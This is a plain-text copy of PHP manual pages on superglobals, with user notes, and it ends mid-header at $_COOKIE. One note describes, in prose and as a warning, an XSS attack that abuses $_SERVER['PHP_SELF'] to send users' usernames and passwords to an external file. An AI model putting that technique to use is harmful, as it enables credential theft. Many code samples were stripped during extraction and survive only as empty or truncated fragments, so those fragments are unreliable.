+--------------+~ | Superglobals |~ +-------------+~ Superglobals — Superglobals are built-in variables that are always available in all scopes Description~ Several predefined variables in PHP are "superglobals", which means they are available in all scopes throughout a script. There is no need to do global $variable; to access them within functions or methods. These superglobal variables are: $GLOBALS $_SERVER $_GET $_POST $_FILES $_COOKIE $_SESSION $_REQUEST $_ENV Changelog~ Version Description 4.1.0 Superglobals were introduced to PHP. Notes Note: Variable availability By default, all of the superglobals are available but there are directives that affect this availability. For further information, refer to the documentation for variables_order. Note: Dealing with register_globals If the deprecated register_globals directive is set to on then the variables within will also be made available in the global scope of the script. For example, $_POST['foo'] would also exist as $foo. For related information, see the FAQ titled "How does register_globals affect me?" Note: Variable variables Superglobals cannot be used as variable variables inside functions or class methods. See Also~ variable scope The variables_order directive The filter extension User Contributed Notes 4 notes 9 kitchin ¶3 years ago~ Since PHP 5.4, you cannot use a superglobal as the parameter to a function. This causes a fatal error: > function foo($_GET) { // whatever } < It's called "shadowing" a superglobal, and I don't know why people ever did it, but I've seen it out there. The easy fix is just to rename the variable $get in the function, assuming that name is unique. There was no deprecation warning issued in previous versions of PHP, according to my testing, neither in 5.3 nor 5.2. The error messages in 5.4 are: Fatal error: Cannot re-assign auto-global variable _GET in... Fatal error: Cannot re-assign auto-global variable _COOKIE in... etc. -------------------------------------------------------------------------------- *$_SERVER* +----------+~ | $_SERVER |~ +----------+~ $HTTP_SERVER_VARS [removed] (PHP 4 >= 4.1.0, PHP 5, PHP 7) $_SERVER -- $HTTP_SERVER_VARS [removed] — Server and execution environment information Description~ $_SERVER is an array containing information such as headers, paths, and script locations. The entries in this array are created by the web server. There is no guarantee that every web server will provide any of these; servers may omit some, or provide others not listed here. That said, a large number of these variables are accounted for in the » CGI/1.1 specification, so you should be able to expect those. Note: Prior to PHP 5.4.0, $HTTP_SERVER_VARS contained the same initial information, but was not a superglobal. (Note that $HTTP_SERVER_VARS and $_SERVER were different variables and that PHP handled them as such.) Indices~ You may or may not find any of the following elements in $_SERVER. Note that few, if any, of these will be available (or indeed have any meaning) if running PHP on the command line. 'PHP_SELF' ---------- The filename of the currently executing script, relative to the document root. For instance, $_SERVER['PHP_SELF'] in a script at the address http://example.com/foo/bar.php would be /foo/bar.php. The __FILE__ constant contains the full path and filename of the current (i.e. included) file. If PHP is running as a command-line processor this variable contains the script name since PHP 4.3.0. Previously it was not available. 'argv' ------ Array of arguments passed to the script. When the script is run on the command line, this gives C-style access to the command line parameters. When called via the GET method, this will contain the query string. 'argc' ------ Contains the number of command line parameters passed to the script (if run on the command line). 'GATEWAY_INTERFACE' ------------------- What revision of the CGI specification the server is using; i.e. 'CGI/1.1'. 'SERVER_ADDR' ------------- The IP address of the server under which the current script is executing. 'SERVER_NAME' ------------- The name of the server host under which the current script is executing. If the script is running on a virtual host, this will be the value defined for that virtual host. Note: Under Apache 2, you must set UseCanonicalName = On and ServerName. Otherwise, this value reflects the hostname supplied by the client, which can be spoofed. It is not safe to rely on this value in security-dependent contexts. 'SERVER_SOFTWARE' ----------------- Server identification string, given in the headers when responding to requests. 'SERVER_PROTOCOL' ----------------- Name and revision of the information protocol via which the page was requested; i.e. 'HTTP/1.0'; 'REQUEST_METHOD' ---------------- Which request method was used to access the page; i.e. 'GET', 'HEAD', 'POST', 'PUT'. Note: PHP script is terminated after sending headers (it means after producing any output without output buffering) if the request method was HEAD. 'REQUEST_TIME' -------------- The timestamp of the start of the request. Available since PHP 5.1.0. 'REQUEST_TIME_FLOAT' -------------------- The timestamp of the start of the request, with microsecond precision. Available since PHP 5.4.0. 'QUERY_STRING' -------------- The query string, if any, via which the page was accessed. 'DOCUMENT_ROOT' --------------- The document root directory under which the current script is executing, as defined in the server's configuration file. 'HTTP_ACCEPT' ------------- Contents of the Accept: header from the current request, if there is one. 'HTTP_ACCEPT_CHARSET' --------------------- Contents of the Accept-Charset: header from the current request, if there is one. Example: 'iso-8859-1,*,utf-8'. 'HTTP_ACCEPT_ENCODING' ---------------------- Contents of the Accept-Encoding: header from the current request, if there is one. Example: 'gzip'. 'HTTP_ACCEPT_LANGUAGE' ---------------------- Contents of the Accept-Language: header from the current request, if there is one. Example: 'en'. 'HTTP_CONNECTION' ----------------- Contents of the Connection: header from the current request, if there is one. Example: 'Keep-Alive'. 'HTTP_HOST' ----------- Contents of the Host: header from the current request, if there is one. 'HTTP_REFERER' -------------- The address of the page (if any) which referred the user agent to the current page. This is set by the user agent. Not all user agents will set this, and some provide the ability to modify HTTP_REFERER as a feature. In short, it cannot really be trusted. 'HTTP_USER_AGENT' ----------------- Contents of the User-Agent: header from the current request, if there is one. This is a string denoting the user agent being which is accessing the page. A typical example is: Mozilla/4.5 [en] (X11; U; Linux 2.2.9 i586). Among other things, you can use this value with get_browser() to tailor your page's output to the capabilities of the user agent. 'HTTPS' ------- Set to a non-empty value if the script was queried through the HTTPS protocol. Note: Note that when using ISAPI with IIS, the value will be off if the request was not made through the HTTPS protocol. 'REMOTE_ADDR' ------------- The IP address from which the user is viewing the current page. 'REMOTE_HOST' ------------- The Host name from which the user is viewing the current page. The reverse dns lookup is based off the REMOTE_ADDR of the user. Note: Your web server must be configured to create this variable. For example in Apache you'll need HostnameLookups On inside httpd.conf for it to exist. See also gethostbyaddr(). 'REMOTE_PORT' ------------- The port being used on the user's machine to communicate with the web server. 'REMOTE_USER' ------------- The authenticated user. 'REDIRECT_REMOTE_USER' ---------------------- The authenticated user if the request is internally redirected. 'SCRIPT_FILENAME' ----------------- The absolute pathname of the currently executing script. Note: If a script is executed with the CLI, as a relative path, such as file.php or ../file.php, $_SERVER['SCRIPT_FILENAME'] will contain the relative path specified by the user. 'SERVER_ADMIN' -------------- The value given to the SERVER_ADMIN (for Apache) directive in the web server configuration file. If the script is running on a virtual host, this will be the value defined for that virtual host. 'SERVER_PORT' ------------- The port on the server machine being used by the web server for communication. For default setups, this will be '80'; using SSL, for instance, will change this to whatever your defined secure HTTP port is. Note: Under the Apache 2, you must set UseCanonicalName = On, as well as UseCanonicalPhysicalPort = On in order to get the physical (real) port, otherwise, this value can be spoofed and it may or may not return the physical port value. It is not safe to rely on this value in security-dependent contexts. 'SERVER_SIGNATURE' ------------------ String containing the server version and virtual host name which are added to server-generated pages, if enabled. 'PATH_TRANSLATED' ----------------- Filesystem- (not document root-) based path to the current script, after the server has done any virtual-to-real mapping. Note: As of PHP 4.3.2, PATH_TRANSLATED is no longer set implicitly under the Apache 2 SAPI in contrast to the situation in Apache 1, where it's set to the same value as the SCRIPT_FILENAME server variable when it's not populated by Apache. This change was made to comply with the CGI specification that PATH_TRANSLATED should only exist if PATH_INFO is defined. Apache 2 users may use AcceptPathInfo = On inside httpd.conf to define PATH_INFO. 'SCRIPT_NAME' ------------- Contains the current script's path. This is useful for pages which need to point to themselves. The __FILE__ constant contains the full path and filename of the current (i.e. included) file. 'REQUEST_URI' ------------- The URI which was given in order to access this page; for instance, '/index.html'. 'PHP_AUTH_DIGEST' ----------------- When doing Digest HTTP authentication this variable is set to the 'Authorization' header sent by the client (which you should then use to make the appropriate validation). 'PHP_AUTH_USER' --------------- When doing HTTP authentication this variable is set to the username provided by the user. 'PHP_AUTH_PW' ------------- When doing HTTP authentication this variable is set to the password provided by the user. 'AUTH_TYPE' ----------- When doing HTTP authentication this variable is set to the authentication type. 'PATH_INFO' ----------- Contains any client-provided pathname information trailing the actual script filename but preceding the query string, if available. For instance, if the current script was accessed via the URL http://www.example.com/php/path_info.php/some/stuff?foo=bar, then $_SERVER['PATH_INFO'] would contain /some/stuff. 'ORIG_PATH_INFO' ---------------- Original version of 'PATH_INFO' before processed by PHP. Changelog~ Version Description 5.4.0 $HTTP_SERVER_VARS isn't available anymore due to the removal of long arrays registering. 5.3.0 Directive register_long_arrays which caused $HTTP_SERVER_VARS to be available has been deprecated. 4.1.0 Introduced $_SERVER that deprecated $HTTP_SERVER_VARS. Examples~ Example #1 $_SERVER example > < The above example will output something similar to: www.example.com Notes Note: This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods. See Also ¶ The filter extension User Contributed Notes 54 notes 206 zeufonlinux at gmail dot com ¶4 years ago~ Just a PHP file to put on your local server (as I don't have enough memory) > ' ; foreach ($indicesServer as $arg) { if (isset($_SERVER[$arg])) { echo ''.$arg.'' . $_SERVER[$arg] . '' ; } else { echo ''.$arg.'-' ; } } echo '' ; /* < That will give you the result of each variable like (if the file is server_indices.php at the root and Apache Web directory is in E:\web) : > PHP_SELF /server_indices.php argv - argc - GATEWAY_INTERFACE CGI/1.1 SERVER_ADDR 127.0.0.1 SERVER_NAME localhost SERVER_SOFTWARE Apache/2.2.22 (Win64) PHP/5.3.13 SERVER_PROTOCOL HTTP/1.1 REQUEST_METHOD GET REQUEST_TIME 1361542579 REQUEST_TIME_FLOAT - QUERY_STRING DOCUMENT_ROOT E:/web/ HTTP_ACCEPT text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 HTTP_ACCEPT_CHARSET ISO-8859-1,utf-8;q=0.7,*;q=0.3 HTTP_ACCEPT_ENCODING gzip,deflate,sdch HTTP_ACCEPT_LANGUAGE fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4 HTTP_CONNECTION keep-alive HTTP_HOST localhost HTTP_REFERER http://localhost/ HTTP_USER_AGENT Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 HTTPS - REMOTE_ADDR 127.0.0.1 REMOTE_HOST - REMOTE_PORT 65037 REMOTE_USER - REDIRECT_REMOTE_USER - SCRIPT_FILENAME E:/web/server_indices.php SERVER_ADMIN myemail@personal.us SERVER_PORT 80 SERVER_SIGNATURE PATH_TRANSLATED - SCRIPT_NAME /server_indices.php REQUEST_URI /server_indices.php PHP_AUTH_DIGEST - PHP_AUTH_USER - PHP_AUTH_PW - AUTH_TYPE - PATH_INFO - ORIG_PATH_INFO - */ ?> < 71 Vladimir Kornea ¶8 years ago~ 1. All elements of the $_SERVER array whose keys begin with 'HTTP_' come from HTTP request headers and are not to be trusted. 2. All HTTP headers sent to the script are made available through the $_SERVER array, with names prefixed by 'HTTP_'. 3. $_SERVER['PHP_SELF'] is dangerous if misused. If login.php/nearly_arbitrary_string is requested, $_SERVER['PHP_SELF'] will contain not just login.php, but the entire login.php/nearly_arbitrary_string. If you've printed $_SERVER['PHP_SELF'] as the value of the action attribute of your form tag without performing HTML encoding, an attacker can perform XSS attacks by offering users a link to your site such as this: Example.com The javascript block would define an event handler function and bind it to the form's submit event. This event handler would load via an tag an external file, with the submitted username and password as parameters. Use $_SERVER['SCRIPT_NAME'] instead of $_SERVER['PHP_SELF']. HTML encode every string sent to the browser that should not be interpreted as HTML, unless you are absolutely certain that it cannot contain anything that the browser can interpret as HTML. 31 Lord Mac ¶7 years ago~ An even *more* improved version... > < 16 rulerof at gmail dot com ¶6 years ago~ I needed to get the full base directory of my script local to my webserver, IIS 7 on Windows 2008. I ended up using this: > < And it returned C:\inetpub\wwwroot\ as I had hoped. 8 jette at nerdgirl dot dk ¶8 years ago~ Windows running IIS v6 does not include $_SERVER['SERVER_ADDR'] If you need to get the IP addresse, use this instead: > < 19 steve at sc-fa dot com ¶7 years ago~ If you are serving from behind a proxy server, you will almost certainly save time by looking at what these $_SERVER variables do on your machine behind the proxy. > $_SERVER['HTTP_X_FORWARDED_FOR'] in place of $_SERVER['REMOTE_ADDR'] $_SERVER['HTTP_X_FORWARDED_HOST'] and $_SERVER['HTTP_X_FORWARDED_SERVER'] in place of (at least in our case,) $_SERVER['SERVER_NAME'] < 14 MarkAgius at markagius dot co dot uk ¶5 years ago~ You have missed 'REDIRECT_STATUS' Very useful if you point all your error pages to the same file. File; .htaccess > # .htaccess file. ErrorDocument 404 /error-msg.php ErrorDocument 500 /error-msg.php ErrorDocument 400 /error-msg.php ErrorDocument 401 /error-msg.php ErrorDocument 403 /error-msg.php # End of file. < File; error-msg.php > < 14 mirko dot steiner at slashdevslashnull dot de ¶7 years ago~ > [a-zA-Z]{2,8})'. '(?:-(?P[a-zA-Z]{2,8}))?(?:(?:;q=)'. '(?P\d\.\d))?$/'; $splits = array(); printf("Lang:,,%s''\n", $lang); if (preg_match($pattern, $lang, $splits)) { print_r($splits); } else { echo "\nno match\n"; } } ?> < example output: Google Chrome 3.0.195.27 Windows xp > Lang:,,de-DE'' Array ( [0] => de-DE [primarytag] => de [1] => de [subtag] => DE [2] => DE ) Lang:,,de;q=0.8'' Array ( [0] => de;q=0.8 [primarytag] => de [1] => de [subtag] => [2] => [quantifier] => 0.8 [3] => 0.8 ) Lang:,,en-US;q=0.6'' Array ( [0] => en-US;q=0.6 [primarytag] => en [1] => en [subtag] => US [2] => US [quantifier] => 0.6 [3] => 0.6 ) Lang:,,en;q=0.4'' Array ( [0] => en;q=0.4 [primarytag] => en [1] => en [subtag] => [2] => [quantifier] => 0.4 [3] => 0.4 ) < 8 krinklemail at gmail dot com ¶4 years ago~ If requests to your PHP script send a header "Content-Type" or/ "Content-Length" it will, contrary to regular HTTP headers, not appear in $_SERVER as $_SERVER['HTTP_CONTENT_TYPE']. PHP removes these (per CGI/1.1 specification[1]) from the HTTP_ match group. They are still accessible, but only if the request was a POST request. When it is, it'll be available as: $_SERVER['CONTENT_LENGTH'] $_SERVER['CONTENT_TYPE'] [1] https://www.ietf.org/rfc/rfc3875 10 jonbarnett at gmail dot com ¶8 years ago~ It's worth noting that $_SERVER variables get created for any HTTP request headers, including those you might invent: If the browser sends an HTTP request header of: X-Debug-Custom: some string Then: > < There are better ways to identify the HTTP request headers sent by the browser, but this is convenient if you know what to expect from, for example, an AJAX script with custom headers. Works in PHP5 on Apache with mod_php. Don't know if this is true from other environments. 7 Tonin ¶8 years ago~ When using the $_SERVER['SERVER_NAME'] variable in an apache virtual host setup with a ServerAlias directive, be sure to check the UseCanonicalName apache directive. If it is On, this variable will always have the apache ServerName value. If it is Off, it will have the value given by the headers sent by the browser. Depending on what you want to do the content of this variable, put in On or Off. 11 chris ¶7 years ago~ A table of everything in the $_SERVER array can be found near the bottom of the output of phpinfo(); 6 Tom ¶4 years ago~ Be warned that most contents of the Server-Array (even $_SERVER['SERVER_NAME']) are provided by the client and can be manipulated. They can also be used for injections and thus MUST be checked and treated like any other user input. 9 Richard York ¶7 years ago~ Not documented here is the fact that $_SERVER is populated with some pretty useful information when accessing PHP via the shell. > ["_SERVER"]=> array(24) { ["MANPATH"]=> string(48) "/usr/share/man:/usr/local/share/man:/usr/X11/man" ["TERM"]=> string(11) "xterm-color" ["SHELL"]=> string(9) "/bin/bash" ["SSH_CLIENT"]=> string(20) "127.0.0.1 41242 22" ["OLDPWD"]=> string(60) "/Library/WebServer/Domains/www.example.com/private" ["SSH_TTY"]=> string(12) "/dev/ttys000" ["USER"]=> string(5) "username" ["MAIL"]=> string(15) "/var/mail/username" ["PATH"]=> string(57) "/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin" ["PWD"]=> string(56) "/Library/WebServer/Domains/www.example.com/www" ["SHLVL"]=> string(1) "1" ["HOME"]=> string(12) "/Users/username" ["LOGNAME"]=> string(5) "username" ["SSH_CONNECTION"]=> string(31) "127.0.0.1 41242 10.0.0.1 22" ["_"]=> string(12) "/usr/bin/php" ["__CF_USER_TEXT_ENCODING"]=> string(9) "0x1F5:0:0" ["PHP_SELF"]=> string(10) "Shell.php" ["SCRIPT_NAME"]=> string(10) "Shell.php" ["SCRIPT_FILENAME"]=> string(10) "Shell.php" ["PATH_TRANSLATED"]=> string(10) "Shell.php" ["DOCUMENT_ROOT"]=> string(0) "" ["REQUEST_TIME"]=> int(1247162183) ["argv"]=> array(1) { [0]=> string(10) "Shell.php" } ["argc"]=> int(1) } < -------------------------------------------------------------------------------- *$GLOBALS* +----------+~ | $GLOBALS |~ +----------+~ (PHP 4, PHP 5, PHP 7) $GLOBALS — References all variables available in global scope Description~ An associative array containing references to all variables which are currently defined in the global scope of the script. The variable names are the keys of the array. Examples~ Example #1 $GLOBALS example > < The above example will output something similar to: $foo in global scope: Example content $foo in current scope: local variable Notes Note: This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods. Note: Variable availability Unlike all of the other superglobals, $GLOBALS has essentially always been available in PHP. User Contributed Notes 4 notes 22 mstraczkowski at gmail dot com ¶3 years ago~ Watch out when you are trying to set $GLOBALS to the local variable. Even without reference operator "&" your variable seems to be referenced to the $GLOBALS You can test this behaviour using below code > = 4.1.0, PHP 5, PHP 7) $_GET -- $HTTP_GET_VARS [deprecated] — HTTP GET variables Description~ An associative array of variables passed to the current script via the URL parameters. $HTTP_GET_VARS contains the same initial information, but is not a superglobal. (Note that $HTTP_GET_VARS and $_GET are different variables and that PHP handles them as such) Changelog~ Version Description 4.1.0 Introduced $_GET that deprecated $HTTP_GET_VARS. Examples~ Example #1 $_GET example > < Assuming the user entered http://example.com/?name=Hannes The above example will output something similar to: Hello Hannes! Notes Note: This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods. Note: The GET variables are passed through urldecode(). See Also~ Handling external variables The filter extension User Contributed Notes 14 notes 146 John Galt ¶6 years ago~ Just a note, because I didn't know for sure until I tested it. If you have a query string that contains a parameter but no value (not even an equals sign), like so: http://path/to/script.php?a The following script is a good test to determine how a is valued: >
	
	
< I tested this with script.php?a, and it returned: a is an empty string a is set So note that a parameter with no value associated with, even without an equals sign, is considered to be an empty string (""), isset() returns true for it, and it is considered empty, but not false or null. Seems obvious after the first test, but I just had to make sure. Of course, if I do not include it in my browser query, the script returns Array ( ) a is null -------------------------------------------------------------------------------- *$_POST* +--------+~ | $_POST |~ +--------+~ $HTTP_POST_VARS [deprecated] (PHP 4 >= 4.1.0, PHP 5, PHP 7) $_POST -- $HTTP_POST_VARS [deprecated] — HTTP POST variables Description~ An associative array of variables passed to the current script via the HTTP POST method when using application/x-www-form-urlencoded or multipart/form-data as the HTTP Content-Type in the request. $HTTP_POST_VARS contains the same initial information, but is not a superglobal. (Note that $HTTP_POST_VARS and $_POST are different variables and that PHP handles them as such) Changelog~ Version Description 4.1.0 Introduced $_POST that deprecated $HTTP_POST_VARS. Examples~ Example #1 $_POST example > < Assuming the user POSTed name=Hannes The above example will output something similar to: Hello Hannes! Notes Note: This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods. See Also~ Handling external variables The filter extension User Contributed Notes 7 notes 182 james dot ellis at gmail dot com ¶8 years ago~ One feature of PHP's processing of POST and GET variables is that it automatically decodes indexed form variable names. I've seem innumerable projects that jump through extra & un-needed processing hoops to decode variables when PHP does it all for you: Example pseudo code: Many web sites do this: >
...
< When they could do this: >
...
< With the first example you'd have to do string parsing / regexes to get the correct values out so they can be married with other data in your app... whereas with the second example.. you will end up with something like: > array('first_name'=>'john','last_name'=>'smith'), 1 => array('first_name'=>'jane','last_name'=>'jones'), ) ?> < This is invaluable when you want to link various posted form data to other hashes on the server side, when you need to store posted data in separate "compartment" arrays or when you want to link your POSTed data into different record handlers in various Frameworks. Remember also that using [] as in index will cause a sequential numeric array to be created once the data is posted, so sometimes it's better to define your indexes explicitly. 42 darren_wheatley at hotmail dot com ¶1 year ago~ I know it's a pretty basic thing but I had issues trying to access the $_POST variable on a form submission from my HTML page. It took me ages to work out and I couldn't find the help I needed in google. Hence this post. Make sure your input items have the NAME attribute. The id attribute is not enough! The name attribute on your input controls is what $_POST uses to index the data and therefore show the results. 9 woodhavenbp at yahoo dot com ¶8 months ago~ There's an earlier note here about correctly referencing elements in $_POST which is accurate. $_POST is an associative array indexed by form element NAMES, not IDs. One way to think of it is like this: element "id=" is for CSS, while element "name=" is for PHP. If you are referring to your element ID in the POST array, it won't work. You must assign a name attribute to your element to reference it correctly in the POST array. These two attributes can be the same for simplicity, i.e., ... 39 CXJ ¶3 years ago~ Note that $_POST is NOT set for all HTTP POST operations, but only for specific types of POST operations. I have not been able to find documentation, but here's what I've found so far. $_POST _is_ set for: Content-Type: application/x-www-form-urlencoded In other words, for standard web forms. $_POST is NOT set for: Content-Type:text/xml A type used for a generic HTTP POST operation. 17 paul at youngish dot homelinux^org ¶8 years ago~ For a page with multiple forms here is one way of processing the different POST values that you may receive. This code is good for when you have distinct forms on a page. Adding another form only requires an extra entry in the array and switch statements. > < -------------------------------------------------------------------------------- *$_FILES* +---------+~ | $_FILES |~ +---------+~ $HTTP_POST_FILES [deprecated] (PHP 4 >= 4.1.0, PHP 5, PHP 7) $_FILES -- $HTTP_POST_FILES [deprecated] — HTTP File Upload variables Description~ An associative array of items uploaded to the current script via the HTTP POST method. The structure of this array is outlined in the POST method uploads section. $HTTP_POST_FILES contains the same initial information, but is not a superglobal. (Note that $HTTP_POST_FILES and $_FILES are different variables and that PHP handles them as such) Changelog~ Version Description 4.1.0 Introduced $_FILES that deprecated $HTTP_POST_FILES. Notes Note: This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods. See Also~ move_uploaded_file() - Moves an uploaded file to a new location Handling File Uploads User Contributed Notes 25 notes 370 scohen987 at gmail dot com ¶2 years ago~ see http://php.net/manual/en/features.file-upload.post-method.php for documentation of the $_FILES array, which is what I came to this page for in the first place. 27 brian at diamondsea dot com ¶3 years ago~ If you are looking for the $_FILES['error'] code explanations, be sure to read: Handling File Uploads - Error Messages Explained http://www.php.net/manual/en/features.file-upload.errors.php 54 sergio_ag at terra dot com dot br ¶4 years ago~ A nice trick to reorder the $_FILES array when you use a input name as array is: > $value1) foreach($value1 as $key2 => $value2) $result[$key2][$key1] = $value2; return $result; } ?> < will transform this: > array(1) { ["upload"]=>array(2) { ["name"]=>array(2) { [0]=>string(9)"file0.txt" [1]=>string(9)"file1.txt" } ["type"]=>array(2) { [0]=>string(10)"text/plain" [1]=>string(10)"text/html" } } } < into: > array(1) { ["upload"]=>array(2) { [0]=>array(2) { ["name"]=>string(9)"file0.txt" ["type"]=>string(10)"text/plain" }, [1]=>array(2) { ["name"]=>string(9)"file1.txt" ["type"]=>string(10)"text/html" } } } < just do: > < 24 dewi at dewimorgan dot com ¶8 years ago~ The format of this array is (assuming your form has two input type=file fields named "file1", "file2", etc): > Array ( [file1] => Array ( [name] => MyFile.txt (comes from the browser, so treat as tainted) [type] => text/plain (not sure where it gets this from - assume the browser, so treat as tainted) [tmp_name] => /tmp/php/php1h4j1o (could be anywhere on your system, depending on your config settings, but the user has no control, so this isn't tainted) [error] => UPLOAD_ERR_OK (= 0) [size] => 123 (the size in bytes) ) [file2] => Array ( [name] => MyFile.jpg [type] => image/jpeg [tmp_name] => /tmp/php/php6hst32 [error] => UPLOAD_ERR_OK [size] => 98174 ) ) < Last I checked (a while ago now admittedly), if you use array parameters in your forms (that is, form names ending in square brackets, like several file fields called "download[file1]", "download[file2]" etc), then the array format becomes... interesting. > Array ( [download] => Array ( [name] => Array ( [file1] => MyFile.txt [file2] => MyFile.jpg ) [type] => Array ( [file1] => text/plain [file2] => image/jpeg ) [tmp_name] => Array ( [file1] => /tmp/php/php1h4j1o [file2] => /tmp/php/php6hst32 ) [error] => Array ( [file1] => UPLOAD_ERR_OK [file2] => UPLOAD_ERR_OK ) [size] => Array ( [file1] => 123 [file2] => 98174 ) ) ) < So you'd need to access the error param of file1 as, eg $_Files['download']['error']['file1'] 17 sparticvs at popebp dot com ¶4 years ago~ A note of security: Don't ever trust $_FILES["image"]["type"]. It takes whatever is sent from the browser, so don't trust this for the image type. I recommend using finfo_open (http://www.php.net/manual/en/function.finfo-open.php) to verify the MIME type of a file. It will parse the MAGIC in the file and return it's type...this can be trusted (you can also use the "file" program on Unix, but I would refrain from ever making a System call with your PHP code...that's just asking for problems). 10 BigShark666 at gmail dot com ¶5 years ago~ Nontypicall array comes in php after the submission.I wrote a small function to restate it to the familiar look. > $file){ if($top) $sub_name = $file['name']; else $sub_name = $name; if(is_array($sub_name)){ foreach(array_keys($sub_name) as $key){ $files[$name][$key] = array( 'name' => $file['name'][$key], 'type' => $file['type'][$key], 'tmp_name' => $file['tmp_name'][$key], 'error' => $file['error'][$key], 'size' => $file['size'][$key], ); $files[$name] = multiple($files[$name], FALSE); } }else{ $files[$name] = $file; } } return $files; } print_r($_FILES); /* Array ( [image] => Array ( [name] => Array ( [0] => 400.png ) [type] => Array ( [0] => image/png ) [tmp_name] => Array ( [0] => /tmp/php5Wx0aJ ) [error] => Array ( [0] => 0 ) [size] => Array ( [0] => 15726 ) ) ) */ $files = multiple($_FILES); print_r($files); /* Array ( [image] => Array ( [0] => Array ( [name] => 400.png [type] => image/png [tmp_name] => /tmp/php5Wx0aJ [error] => 0 [size] => 15726 ) ) ) */ ?> 10 andrewpunch at bigfoot dot com ¶8 years ago~ If $_FILES is empty, even when uploading, try adding enctype="multipart/form-data" to the form tag and make sure you have file uploads turned on. 7 calurion at gmail dot com ¶7 years ago~ For some reason when I tried to check if $_FILES['myVarName'] was empty() or !isset() or array_key_exists(), it always came back that the file was indeed in the superglobal, even when nothing was uploaded. I wonder if this is a result of enctype="multipart/form-data". Anyways, I solved my issue by checking to make sure that $_FILES['myVarName']['size'] > 0 6 John ¶6 years ago~ In the past you could unconditionally call $_FILES['profile_pic'] without ever having to worry about PHP spitting an "Undefined index: profile_pic" error (so long as the page posting had a file input on it (e.g. )). This was the case regardless of whether or not the end user actually uploaded a file. These days, with so many people browsing the web via iPads, you have to explicitly check to see if the input isset($_FILES['profile_pic']) before calling into it, else you'll get the aforementioned error message. This is because iOS devices running Safari disable file inputs thereby causing them to be treated as if they don't exist. Time to update your scripts! -john -------------------------------------------------------------------------------- *$_REQUEST* +-----------+~ | $_REQUEST |~ +-----------+~ (PHP 4 >= 4.1.0, PHP 5, PHP 7) $_REQUEST — HTTP Request variables Description~ An associative array that by default contains the contents of $_GET, $_POST and $_COOKIE. Changelog~ Version Description 5.3.0 Introduced request_order. This directive affects the contents of $_REQUEST. 4.3.0 $_FILES information was removed from $_REQUEST. 4.1.0 Introduced $_REQUEST. Notes Note: This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods. Note: When running on the command line , this will not include the argv and argc entries; these are present in the $_SERVER array. Note: The variables in $_REQUEST are provided to the script via the GET, POST, and COOKIE input mechanisms and therefore could be modified by the remote user and cannot be trusted. The presence and order of variables listed in this array is defined according to the PHP variables_order configuration directive. See Also~ import_request_variables() - Import GET/POST/Cookie variables into the global scope Handling external variables The filter extension User Contributed Notes 5 notes 92 strata_ranger at hotmail dot com ¶8 years ago~ Don't forget, because $_REQUEST is a different variable than $_GET and $_POST, it is treated as such in PHP -- modifying $_GET or $_POST elements at runtime will not affect the ellements in $_REQUEST, nor vice versa. e.g: > < If you want to evaluate $_GET and $_POST variables by a single token without including $_COOKIE in the mix, use $_SERVER['REQUEST_METHOD'] to identify the method used and set up a switch block accordingly, e.g: > < 9 Luke Madhanga ¶10 months ago~ To access $_POST, $_GET, etc, use the function filter_input(TYPE, varname, filter) to ensure that your data is clean. Also, I was brought up to believe that modifying superglobals is a BAD idea. I stand by this belief and would recommend you do too -------------------------------------------------------------------------------- *$_ENV* +-------+~ | $_ENV |~ +-------+~ $HTTP_ENV_VARS [deprecated] (PHP 4 >= 4.1.0, PHP 5, PHP 7) $_ENV -- $HTTP_ENV_VARS [deprecated] — Environment variables Description An associative array of variables passed to the current script via the environment method. These variables are imported into PHP's global namespace from the environment under which the PHP parser is running. Many are provided by the shell under which PHP is running and different systems are likely running different kinds of shells, a definitive list is impossible. Please see your shell's documentation for a list of defined environment variables. Other environment variables include the CGI variables, placed there regardless of whether PHP is running as a server module or CGI processor. $HTTP_ENV_VARS contains the same initial information, but is not a superglobal. (Note that $HTTP_ENV_VARS and $_ENV are different variables and that PHP handles them as such) Changelog~ Version Description 4.1.0 Introduced $_ENV that deprecated $HTTP_ENV_VARS. Examples~ Example #1 $_ENV example > < Assuming "bjori" executes this script The above example will output something similar to: My username is bjori! Notes Note: This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods. See Also~ > getenv() - Gets the value of an environment variable < User Contributed Notes 6 notes 50 gabe-php at mudbugmedia dot com ¶6 years ago~ If your $_ENV array is mysteriously empty, but you still see the variables when calling getenv() or in your phpinfo(), check your http://us.php.net/manual/en/ini.core.php#ini.variables-order ini setting to ensure it includes "E" in the string. 11 david at davidfavor dot com ¶5 years ago~ Comments for this page seem to indicate getenv() returns environment variables in all cases. For getenv() to work, php.ini variables_order must contain 'E'. 7 aasasdasdf at yandex dot ru ¶2 years ago~ Please note that writing to $_ENV does not actually set an environment variable, i.e. the variable will not propagate to any child processes you launch (except forked script processes, in which case it's just a variable in the script's memory). To set real environment variables, you must use putenv(). Basically, setting a variable in $_ENV does not have any meaning besides setting or overriding a script-wide global variable. Thus, one should never modify $_ENV except for testing purposes (and then be careful to use putenv() too, if appropriate). PHP will not trigger any kind of error or notice when writing to $_ENV. 9 anonymous ¶6 years ago~ If $_ENV is empty because variables_order does not include it, it will be filled with values fetched by getenv(). For example, when calling getenv("REMOTE_ADDR"), $_ENV['REMOTE_ADDR'] will be defined as well (if such an environment variable exists). 6 php at isnoop dot net ¶6 years ago~ If you wish to define an environment variable in your Apache vhost file, use the directive SetEnv. SetEnv varname "variable value" It is important to note that this new variable will appear in $_SERVER, not $_ENV. -------------------------------------------------------------------------------- *$_COOKIE* +----------+~ | $_COOKIE |~ +----------+~ $HTTP_COOKIE_VARS [deprecated] (PHP 4 >= 4.1.0, PHP 5, PHP 